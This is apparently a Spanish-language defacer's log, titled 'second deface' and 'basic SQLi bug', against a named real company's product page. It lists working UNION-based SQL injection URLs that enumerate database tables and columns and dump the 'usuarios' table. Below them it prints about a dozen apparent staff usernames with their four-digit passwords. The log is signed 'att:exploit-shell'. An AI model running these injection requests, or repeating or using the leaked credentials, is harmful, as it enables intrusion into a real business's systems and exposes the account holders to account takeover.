segundo deface

bug sqli basico

http://www.hvarco.com.mx/productos.php?id=1&id_producto=-1+union+select+0,1,2,3,4

http://www.hvarco.com.mx/productos.php?id=1&id_producto=-1+union+select+table_name,1,2,3,4+from+info

rmation_schema.tables--


http://www.hvarco.com.mx/productos.php?id=1&id_producto=-1+union+select+replace%28group_concat%28tab

le_name%29,0x2c,0x3c62723e%29,1,2,3,4+from+information_schema.tables--


http://www.hvarco.com.mx/productos.php?id=1&id_producto=-1+union+select+column_name,1,2,3,4+from+inf

ormation_schema.columns+where%28table_name=0x7573756172696f73%29limit+1,1--

login  password



http://www.hvarco.com.mx/productos.php?id=1&id_producto=-1+union+select+group_concat%28login,0x3a,pa

ssword%29,1,2,3,4+from+usuarios


------------------------------------------------------------

user  & password
yesifd
1024
ggomez
2007
jduque
1981
aovando
2510
hlagunes
0007
jzamudio
0103
psilva
9510
aguilar
2322
fbarajas
2020
rcantu
8512
caradill
9365
rromero
0236
ljuarez
6666

att:exploit-shell